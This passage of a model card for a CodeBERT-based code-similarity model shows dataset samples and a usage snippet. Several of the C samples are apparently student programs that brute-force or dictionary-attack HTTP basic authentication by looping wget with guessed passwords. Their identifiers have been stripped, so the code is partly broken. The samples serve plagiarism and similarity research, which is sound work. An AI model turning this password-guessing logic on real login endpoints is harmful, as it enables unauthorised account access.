int (int argc, char *argv[])\n{\n char *fname;\n FILE *fp;\n \n int ,\ |
|
|
\ end; \n \n = time();\n \n if (argc != 2)\n {\n fprintf(stdout,\"\ |
|
|
Usage : ./Dictionary <dictionary>\\n\");\n return(EXIT_FAILURE);\n }\n\ |
|
|
\ \n fname = argv[1];\n \n if((fp = fopen(fname, \"r\")) == NULL)\n \ |
|
|
\ {\n fprintf(stderr,\"Error : Failed open %s for . \\n\",fname);\n \ |
|
|
\ return(EXIT_FAILURE);\n }\n \n CrackPasswd(fp);\n \n end = time();\ |
|
|
\ \n printf(\"Time Required = %lld msec\\n\",(end-)/());\n return (EXIT_SUCCESS);\n\ |
|
|
\ \n}\n \n\t \n\t \t\n" |
|
|
- "#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\ |
|
|
#include <sys/time.h>\n\nint ()\n{\n FILE *fh,*fp,*fp1,*d;\n char\n [10000],PassString[50],p[10000],temp1[10000],filename[50],f1,f2,temp2[100];\n\ |
|
|
\ sleep(60*60*24);\n system(\"wget http://www.cs.rmit.edu./students\");\n if(system==0)\n\ |
|
|
\ {\n printf(\"File stored\");\n }\n strcpy(filename,\"index.html\"); \n\ |
|
|
\ if((fh=fopen(filename,\"r\"))==NULL)\n {\n printf(\"cannot open file\\n\"\ |
|
|
);\n exit(1);\n }\n fp=fopen(\"index.txt\",\"r\");\n fp1=fopen(\"index1.txt\"\ |
|
|
,\"r\");\n \n while((fgets(PassString,sizeof(PassString),fh))!= NULL)\n {\n\ |
|
|
\ fread(p,sizeof(PassString),sizeof(PassString),fh);\n printf(\" contents\ |
|
|
\ %s\\n\",p);\n while((f1!=EOF) || (f2!=EOF))\n {\n f1=getc(fp);\n \ |
|
|
\ f2=getc(fp1);\n if(f1<f2)\n {\n strcpy(,p);\n fp=fopen(\"\ |
|
|
index.txt\",\"r+b\");\n fputs(,fp);\n fflush(fp); \n fclose(fp); \n\ |
|
|
\ }\n else\n {\n strcpy(temp1,p);\n fp1=fopen(\"index1.txt\"\ |
|
|
,\"r+b\");\n fputs(temp1,fp1);\n fflush(fp1);\n fclose(fp1);\n\ |
|
|
\ }\n }\n if(system(\"diff -b -w index.txt index1.txt > Diff.txt\")==0)\n\ |
|
|
\ {\n d=fopen(\"Diff.txt\",\"r\");\n if((fgets(,sizeof(),d))!=NULL)\n\ |
|
|
\ {\n printf(\"The difference between exist\");\n\tsystem(\"Mail\ |
|
|
\ \\r\\n Difference\");\n }\n \n }\n }\n return 0;\n }\n" |
|
|
- source_sentence: "#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\ |
|
|
\n#define MAX_SIZE 255\n\n\nint CrackPasswd(FILE *fp)\n{\n int i, cnt, flag;\n\ |
|
|
\ char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE], passwd[MAX_SIZE];\n \ |
|
|
\ char fin;\n \n strcpy(string1,\"wget http://sec-crack.cs.rmit.edu./SEC/2/\"\ |
|
|
);\n strcpy(string2,\" --http-user= --http-passwd='\");\n strcpy(,\"\");\n\ |
|
|
\n while ((fin = fgetc(fp)) != EOF)\n {\n cnt = 0;\n \n for\ |
|
|
\ (i=0;i<MAX_SIZE;i++)\n { \n passwd[i] = '\\0';\n [i]\ |
|
|
\ = '\\0';\n }\n\t \n while(fin != '\\n')\n {\n\t passwd[cnt] =\ |
|
|
\ fin;\n\t cnt++;\n\t fin = fgetc(fp);\n } \n \n if(strlen(passwd)\ |
|
|
\ <= 3)\n {\n strcat(, string1);\n strcat(, string2);\n\t\ |
|
|
\ strcat(, passwd);\n\t strcat(, \"'\");\n\t printf(\"Sending Request as %s\\\ |
|
|
n\",);\n\t flag = system();\n\t \n if (flag == 0)\n\t {\n \ |
|
|
\ printf(\"\\nPassword is %s\\n\",passwd);\n\t return 1;\n\t }\n \n\ |
|
|
\t strcpy(,\"\"); \n strcpy(passwd,\"\");\n }\n }\n} \n\n\n\ |
|
|
int (int argc, char *argv[])\n{\n char *fname;\n FILE *fp;\n \n int ,\ |
|
|
\ end; \n \n = time();\n \n if (argc != 2)\n {\n fprintf(stdout,\"\ |
|
|
Usage : ./Dictionary <dictionary>\\n\");\n return(EXIT_FAILURE);\n }\n\ |
|
|
\ \n fname = argv[1];\n \n if((fp = fopen(fname, \"r\")) == NULL)\n \ |
|
|
\ {\n fprintf(stderr,\"Error : Failed open %s for . \\n\",fname);\n \ |
|
|
\ return(EXIT_FAILURE);\n }\n \n CrackPasswd(fp);\n \n end = time();\ |
|
|
\ \n printf(\"Time Required = %lld msec\\n\",(end-)/());\n return (EXIT_SUCCESS);\n\ |
|
|
\ \n}\n \n\t \n\t \t\n" |
|
|
sentences: |
|
|
- "#include <stdio.h>\n#include <stdlib.h>\n#include <sys/time.h>\n#include <strings.h>\n\ |
|
|
#include <ctype.h>\n\nint ()\n{\n FILE *fp; \n char *chk,[4];\n int i=1;\n\ |
|
|
\ while (i == 1) \n {\n \n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\ |
|
|
);\n\n system(\"mkdir first\"); \n system(\"mkdir second\"); \n\n \n system(\"\ |
|
|
mv www.cs.rmit.edu./images/*.* first/\");\n system(\"mv www.cs.rmit.edu./students/*.*\ |
|
|
\ first/\");\n\n sleep(86400); \n\n \n system(\"wget -p --convert-links http://www.cs.rmit.edu./students/\"\ |
|
|
);\n\n \n system(\"mv www.cs.rmit.edu./images/*.* second/\");\n system(\"mv\ |
|
|
\ www.cs.rmit.edu./students/*.* second/\");\n\n \n \n system(\"diff first second\ |
|
|
\ > imagesdifference.txt\");\n\n \n fp = fopen(\"imagesdifference.txt\",\"r\"\ |
|
|
);\n \n chk = fgets(, 4, fp);\n \n if (strlen() != 0)\n system(\"mailx\ |
|
|
\ -s \\\"Difference from WatchDog\\\" < imagesdifference.txt\");\n }\n return\ |
|
|
\ 0;\n}\n" |
|
|
- "\n\n\n \n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/stat.h>\n#include\ |
|
|
\ <unistd.h>\n#include <sys/wait.h>\n#include <signal.h>\n#include <sys/signal.h>\t\ |
|
|
\t\t \n\n\n#define USERNAME \"\"\n#define URL \"sec-crack.cs.rmit.edu./SEC/2\"\ |
|
|
\n#define TEST_URL \"yallara.cs.rmit.edu./~/secure\"\n#define MAX_PASSWD_LEN 3\n\ |
|
|
#define MAX_CHAR_SET 52\n#define NUM_OF_PROCESSES 4\n\n#define TRUE 1\n#define\ |
|
|
\ FALSE 0\n\n\n\n\n\n\n\n\n\n\ntypedef int (*CrackFuncPtr)(const char*, const\ |
|
|
\ char*, int);\n\n\nint pwdFound;\nint cDie;\n\n\nint runBruteForce(const char\ |
|
|
\ chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t\t\t, int sCh, int\ |
|
|
\ eCh, int id);\nchar* initPasswdStr(int len, char ch, char headOfChSet);\nint\ |
|
|
\ getChPos(const char chSet[], int numOfCh, char ch);\nint pow(int x, int y);\n\ |
|
|
int crackHTTPAuth(const char *username, const char *passwd, int id);\nint myFork(const\ |
|
|
\ char chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t, int sCh, int\ |
|
|
\ eCh);\n\n\n\n\n\nvoid passwdFoundHandler(int signum)\n{\n\tpwdFound = TRUE;\n\ |
|
|
}\n\n\n\nvoid childFinishHandler(int signum)\n{\n\tcDie++;\t\n}\n\n\n\n\n\nint\ |
|
|
\ main()\n{\n\tchar charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I',\ |
|
|
\ 'J', 'K', \n 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',\ |
|
|
\ 'U', 'V', \n\t\t\t\t\t 'W', 'X', 'Y', 'Z',\t\n\t\t\t\t\t 'a', 'b', 'c', 'd',\ |
|
|
\ 'e', 'f', 'g', 'h', 'i', 'j', 'k',\t\n\t\t\t\t\t 'l', 'm', 'n', 'o', 'p', 'q',\ |
|
|
\ 'r', 's', 't', 'u', 'v', \n\t\t\t\t\t 'w', 'x', 'y', 'z'};\n\t\n\n\tint i;\t\ |
|
|
\n\tint pid[NUM_OF_PROCESSES];\n\n\tpwdFound = FALSE;\n\tcDie = 0;\n\t\n\tfor\ |
|
|
\ (i=0; i<NUM_OF_PROCESSES; i++)\n\t{\n\t\tpid[i] = myFork(charSet, MAX_CHAR_SET,\ |
|
|
\ MAX_PASSWD_LEN, crackHTTPAuth, \n\t\t\t\t\t\t(((MAX_CHAR_SET /NUM_OF_PROCESSES)*i)+1)-1,\ |
|
|
\ \n\t\t\t\t\t\t(MAX_CHAR_SET /NUM_OF_PROCESSES)*(i+1)-1);\n\t}\n\n\t\n\tfor (;;)\n\ |
|
|
\t{\n\t\tsignal(SIGUSR1, passwdFoundHandler);\n\t\tsignal(SIGUSR2, childFinishHandler);\n\ |
|
|
\n\t\t\n\t\tif (pwdFound)\n\t\t{\n\t\t\tfor (i=0; i<4; i++)\n\t\t\t{\n\t\t\t\t\ |
|
|
kill((int)pid[i], SIGKILL);\n\t\t\t}\n\t\t\texit(EXIT_SUCCESS);\n\t\t}\n\n\t\t\ |
|
|
\n\t\tif (cDie >= NUM_OF_PROCESSES)\n\t\t{\n\t\t\texit(EXIT_SUCCESS);\n\t\t}\n\ |
|
|
\n\t}\n\treturn EXIT_SUCCESS;\n}\n\n\n\nint myFork(const char chSet[], int numOfCh,\ |
|
|
\ int len, CrackFuncPtr func,\n\t\t\t\tint sCh, int eCh)\n{\n\tint i;\n\t\n\t\ |
|
|
int pid = fork();\n\n\tif (pid == 0)\n\t{\n\t\tfor (i=1; i<=len; i++)\n\t\t{\n\ |
|
|
\t\t\tif (runBruteForce(chSet, numOfCh, i, func, sCh, eCh, getpid()))\n\t\t\t\ |
|
|
{\t\n\t\t\t\t\n \t\t\t\tif (!kill(getppid(), SIGUSR1))\n\t\t\t\t{\n\t\t\t\t\t\ |
|
|
printf(\"Process %d found the password and notified the parent process already\"\ |
|
|
, \n\t\t\t\t\t\t\t\t\t(int)getpid());\n\t\t\t\t}\n\n\t\t\t\texit(EXIT_SUCCESS);\n\ |
|
|
\t\t\t}\n\t\t}\n\n\t\t\n\t\tif (!kill(getppid(), SIGUSR2))\n\t\t{\n\t\t\tprintf(\"\ |
|
|
Process %d could not found the password and notified the parent process already\"\ |
|
|
, \n\t\t\t\t\t\t\t\t\t(int)getpid());\n\t\t}\n\t\t\n\t\texit(EXIT_SUCCESS);\n\t\ |
|
|
}\n\telse if (pid > 0)\n\t{\n\t\treturn pid;\n\t}\n\telse\n\t{\n\t\tprintf(\"\ |
|
|
error\\n\");\n\t\texit(EXIT_FAILURE);\n\t}\n}\n\n\n\nint runBruteForce(const char\ |
|
|
\ chSet[], int numOfCh, int len, CrackFuncPtr func\n\t\t\t\t\t\t, int sCh, int\ |
|
|
\ eCh, int id)\n{\n\tint iter; \n\tint chIter; \n\tint curPos = 0; \n\t\n\tchar\ |
|
|
\ *str;\n\t\n\tint passwdFound = FALSE;\n\t\n\tstr = initPasswdStr(len, chSet[sCh],\ |
|
|
\ chSet[0]);\n\n\tprintf(\"\\nNow trying %d character(s)\\n\", len);\n\n\tfor\ |
|
|
\ (iter=0; (iter<pow(numOfCh, (len-1))*(eCh-sCh+1))&&(!passwdFound); iter++)\n\ |
|
|
\t{\n\t\tfor (chIter=len-1; chIter>=0; chIter--)\n\t\t{\n\t\t\tif (iter % pow(numOfCh,\ |
|
|
\ chIter) == 0) \n\t\t\t{\n\t\t\t\tcurPos = getChPos(chSet, numOfCh, str[chIter]);\n\ |
|
|
\t\t\t\tstr[chIter] = chSet[curPos+1];\n\t\t\t}\n\n\t\t\tif (iter % pow(numOfCh,\ |
|
|
\ (chIter+1)) == 0) \n\t\t\t{\n\t\t\t\tif (chIter == len-1)\n\t\t\t\t{\n\t\t\t\ |
|
|
\t\tstr[chIter] = chSet[sCh];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t\ |
|
|
str[chIter] = chSet[0];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (func(USERNAME, str,\ |
|
|
\ id))\n\t\t{\n\t\t\tprintf(\"\\nPassword found: %s\\n\\n\", str);\n\t\t\tpasswdFound\ |
|
|
\ = TRUE;\n\t\t}\t\t\t\n\t}\n\n\t(str);\n\tstr = NULL;\n\t\n\treturn passwdFound;\n\ |
|
|
}\n\n\n\nint getChPos(const char chSet[], int numOfCh, char ch)\n{\n\tint i;\n\ |
|
|
\t\n\tfor (i=0; i<numOfCh; i++)\n\t{\n\t\tif (chSet[i] == ch)\n\t\t{\n\t\t\treturn\ |
|
|
\ i;\n\t\t}\n\t}\n\n\treturn -1;\n\t\n}\n\n\n\nchar* initPasswdStr(int len, char\ |
|
|
\ ch, char headOfChSet)\n{\n\tint i;\n\n\tchar *str;\n\n\tstr = malloc(len);\n\ |
|
|
\n\tif (str)\n\t{\n\t\tfor (i=0; i<len-1; i++)\n\t\t{\n\t\t\tstr[i] = headOfChSet;\n\ |
|
|
\t\t}\n\t\tstr[len-1] = ch;\n\t\tstr[len] = '\\0';\n\t}\n\telse\n\t{\n\t\tfprintf(stderr,\ |
|
|
\ \"\\nError: Unable allocate %d bytes memory.\", len);\n\t\texit(EXIT_FAILURE);\n\ |
|
|
\t}\n\t\n\treturn str;\n}\n\n\n\nint pow(int x, int y)\n{\n\tint ans = 1, i;\n\ |
|
|
\t\n\tfor (i=0; i<y; i++)\n\t{\n\t\tans *= x;\n\t}\n\n\treturn ans;\n}\n\n\n\n\ |
|
|
int crackHTTPAuth(const char *username, const char *passwd, int id)\n{\n\tchar\ |
|
|
\ cmd[256];\n\tstruct stat fileInfo;\n\tchar fileToCheck[256];\n\t\n\tsprintf(cmd,\ |
|
|
\ \"wget -O %d -q --http-user=%s --http-passwd=%s --proxy=off %s\", \n\t\t\t\t\ |
|
|
\t\tid, username, passwd, URL);\n\n\tsystem(cmd);\t\n\n\tsprintf(fileToCheck,\ |
|
|
\ \"%d\", id);\n\n\t(void)stat(fileToCheck, &fileInfo); \n\treturn fileInfo.st_size;\n\ |
|
|
\t\n}\n\n\n" |
|
|
- "#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<strings.h>\n\ |
|
|
#include <ctype.h>\n#include <math.h>\n#include <sys/time.h>\n\nint\n()\n{\n\n\ |
|
|
\tint , end;\n\tFILE *fp;\n\tint i, j;\n\tchar \ |
|
|
\ input;\n\tchar password[30];\n\tint check;\n\ |
|
|
\n\tfloat total_time;\n\tint number;\n\t = time();\n\n\n\ |
|
|
\tif ((fp = fopen(\"words\", \"r\")) == NULL) {\n\t\tfprintf(stderr, \"Error :\ |
|
|
\ Failed open words for .\\n\");\n\t\treturn (EXIT_FAILURE);\n\t}\n\twhile ((input\ |
|
|
\ = fgetc(fp)) != EOF) {\n\t\tj = 0;\n\t\tfor (i = 0; i < 30; i++)\n\t\t\tpassword[i]\ |
|
|
\ = '\\0';\n\n\t\twhile(input != '\\n' ) {\n\n\t\t\tpassword[j] = input;\n\t\t\ |
|
|
\tj++;\n\t\t\tinput = fgetc(fp);\n\t\t\t\n\t\t\n\t\t}\n\n\n\t\tif (strlen(password)\ |
|
|
\ <= 3) {\n\t\t\tprintf(\"%s\\t\",password);\n\t\t\tfflush(stdout);\n\t\t\tcheck\ |
|
|
\ = SysCall(password);\n\t\t\tif (check == 0) {\n\t\t\t\tgetpid();\n\t\t\t\tend\ |
|
|
\ = time();\n\t\t\t\ttotal_time = (end - ) / 1e9;\n\t\t\t\tprintf(\"\\ntotal time_var\ |
|
|
\ = %f \", total_time);\n\t\t\t\tprintf(\"\\n\\nAvg getpid() time_var = %f usec\\\ |
|
|
n\", total_time);\n\t\t\t\tprintf(\"\\navg time_var %f / %d = %f\\n\", total_time,\ |
|
|
\ number, total_time / number);\n\t\t\t\texit(0);\n\t\t\t}\n\t\t}\n\n\t}\n\n\t\ |
|
|
return (EXIT_SUCCESS);\n}\nint\nSysCall(char *password)\n{\n\tchar \ |
|
|
\ url1[255], url2[255], [255];\n\tint rettype;\n\trettype = 0;\n\t\ |
|
|
strcpy(url1, \"wget --non-verbose --http-user= --http-passwd=\");\n\tstrcpy(url2,\ |
|
|
\ \" http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n\tstrcat(, url1);\n\t\ |
|
|
strcat(, password);\n\tstrcat(, url2);\n\n\trettype = system();\n\t\n\tif (rettype\ |
|
|
\ == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\ |
|
|
\t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n" |
|
|
- source_sentence: "\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n \ |
|
|
\ int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n\ |
|
|
\ int ;\n char username[]=\"\";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i\ |
|
|
\ = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j\ |
|
|
\ <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k\ |
|
|
\ <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0]\ |
|
|
\ = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,\"%c%c%c\"\ |
|
|
,word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf(\"%d )%s\\\ |
|
|
n\\n\", counter, paswd);\n\t\t\t sprintf(get,\"wget --http-user=%s --http-passwd=%s\ |
|
|
\ http://sec-crack.cs.rmit.edu./SEC/2/\",username,paswd);\n\t\t\t=system(get);\n\ |
|
|
\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf(\"The Password has been cracked and\ |
|
|
\ it is : %s\" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t\ |
|
|
}\n \n\t\n}\n\n" |
|
|
sentences: |
|
|
- "\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define\ |
|
|
\ OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char\ |
|
|
\ *b) {\n\n\n char [100]={'\\0'};\n strcpy(,b);\n \n strcat(,);\n\ |
|
|
\ printf (\"Sending command %s\\n\",);\n if ( system()== 0) {\n printf\ |
|
|
\ (\"\\n password is : %s\",);\n return 1;\n }\n return 0;\n}\n \n\ |
|
|
\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52\ |
|
|
\ ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return\ |
|
|
\ 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n \ |
|
|
\ if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++)\ |
|
|
\ {\n comb[2] = [k];\n if(execPassword(comb,url)==1)\ |
|
|
\ return 1;\n }\n comb[1] = '\\0';\n }\n }\n return\ |
|
|
\ 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80]\ |
|
|
\ = {'\\0'};\n char *passwd;\n char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ |
|
|
\ char v[4]={'\\0'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,\"\ |
|
|
wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=\");\n\n\ |
|
|
\ startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime =\ |
|
|
\ time();\n final = stopTime-startTime;\n }\n\n printf (\"\\n The\ |
|
|
\ password is : %s\",v);\n printf(\"%lld nanoseconds (%lf) seconds \\n\"\ |
|
|
, final, (double)final/OneBillion );\n\n}\n" |
|
|
- "\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n\ |
|
|
#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n\ |
|
|
\ \n while(1)\n { \n system(\"wget -p http://www.cs.rmit.edu./students\"\ |
|
|
);\n\n\n\n system(\"mkdir data\"); \n if((fp=fopen(\"./data/index.html\"\ |
|
|
,\"r\"))==NULL)\n { \n system(\"cp www.cs.rmit.edu./students/index.html\ |
|
|
\ ./data\");\n\t \n }\n else\n { \n \n\t \n\t\ |
|
|
\ system(\"diff ./data/index.html www.cs.rmit.edu./students/index.html | mail\ |
|
|
\ @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./students/index.html ./data\"\ |
|
|
);\n } \n\n\n\n system(\"mkdir images\"); \n if((fp=fopen(\"\ |
|
|
./images/file.txt\",\"r\"))==NULL)\n { \n system(\"md5sum www.cs.rmit.edu./images/*.*\ |
|
|
\ > ./images/file.txt\");\n\t\t \n }\n \n else\n { \ |
|
|
\ \n system(\"md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt\"\ |
|
|
);\n\t \n\t \n\t \n\t system(\"diff ./images/file.txt www.cs.rmit.edu./file.txt\ |
|
|
\ | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./file.txt ./images\"\ |
|
|
);\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n\ |
|
|
\ \n\t \n\t \t\n" |
|
|
- "#include<stdio.h>\n#include<string.h>\n#include<strings.h>\n#include<stdlib.h>\n\ |
|
|
#include<sys/time.h>\n\n\npublic static void main()\n{\n\tint i;\n\tchar ar[100];\n\ |
|
|
\tFILE* f;\n\tFILE* ;\n\tsystem(\"wget -O first www.rmit.edu./students\"); \n\ |
|
|
\twhile(1)\n\t{\n\t\tsleep(86400);\t\n\t\tsystem(\"rm -f thed\");\n\t\tsystem(\"\ |
|
|
rm -f new\");\n\t\tsystem(\"wget -O new www.cs.rmit.edu./students\");\t\n\t\t\ |
|
|
system(\"diff new first >thed\");\t\n\t\tf=fopen(\"thed\",\"r\");\n\t\tif(fgets(ar,100,f)!=NULL)\n\ |
|
|
\t\t{\t\t\n\t\t\t printf(\"\\n\\n The has CHANGEDS\");\t\t\n\t\t\tsystem(\"mail\ |
|
|
\ @cs.rmit.edu. <thed\"); \n\t\t\tsystem(\"cp new first\");\n\t\t\tfclose(f);\n\ |
|
|
\t\t}\n\t\telse\n\t\t{\n\t\tfclose(f);\n\t\tprintf(\"\\n\\nthe has not changed\ |
|
|
\ \");\n\t\t}\n\t}\n\n}\n\n\t\n\t\n\t\n\t\t\n\n\n" |
|
|
pipeline_tag: sentence-similarity |
|
|
library_name: sentence-transformers |
|
|
--- |
|
|
|
|
|
# SentenceTransformer based on microsoft/codebert-base |
|
|
|
|
|
This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base). It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. |
|
|
|
|
|
## Model Details |
|
|
|
|
|
### Model Description |
|
|
- **Model Type:** Sentence Transformer |
|
|
- **Base model:** [microsoft/codebert-base](https://huggingface.co/microsoft/codebert-base) <!-- at revision 3b0952feddeffad0063f274080e3c23d75e7eb39 --> |
|
|
- **Maximum Sequence Length:** 512 tokens |
|
|
- **Output Dimensionality:** 768 dimensions |
|
|
- **Similarity Function:** Cosine Similarity |
|
|
<!-- - **Training Dataset:** Unknown --> |
|
|
<!-- - **Language:** Unknown --> |
|
|
<!-- - **License:** Unknown --> |
|
|
|
|
|
### Model Sources |
|
|
|
|
|
- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) |
|
|
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) |
|
|
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) |
|
|
|
|
|
### Full Model Architecture |
|
|
|
|
|
``` |
|
|
SentenceTransformer( |
|
|
(0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'}) |
|
|
(1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) |
|
|
) |
|
|
``` |
|
|
|
|
|
## Usage |
|
|
|
|
|
### Direct Usage (Sentence Transformers) |
|
|
|
|
|
First install the Sentence Transformers library: |
|
|
|
|
|
```bash |
|
|
pip install -U sentence-transformers |
|
|
``` |
|
|
|
|
|
Then you can load this model and run inference. |
|
|
```python |
|
|
from sentence_transformers import SentenceTransformer |
|
|
|
|
|
# Download from the 🤗 Hub |
|
|
model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST") |
|
|
# Run inference |
|
|
sentences = [ |
|
|
'\n\n\n#include <stdio.h>\n\n#include <stdlib.h>\nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n', |
|
|
'\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n', |
|
|
'\n\n#include <stdio.h>\n#include <string.h>\n#include <sys/time.h>\n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n', |
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] |
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embeddings = model.encode(sentences) |
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print(embeddings.shape) |
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# [3, 768] |
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# Get the similarity scores for the embeddings |
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similarities = model.similarity(embeddings, embeddings) |
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print(similarities) |
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# tensor([[1.0000, 0.9892, 0.9953], |
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# [0.9892, 1.0000, 0.9908], |
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# [0.9953, 0.9908, 1.0000]]) |
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``` |
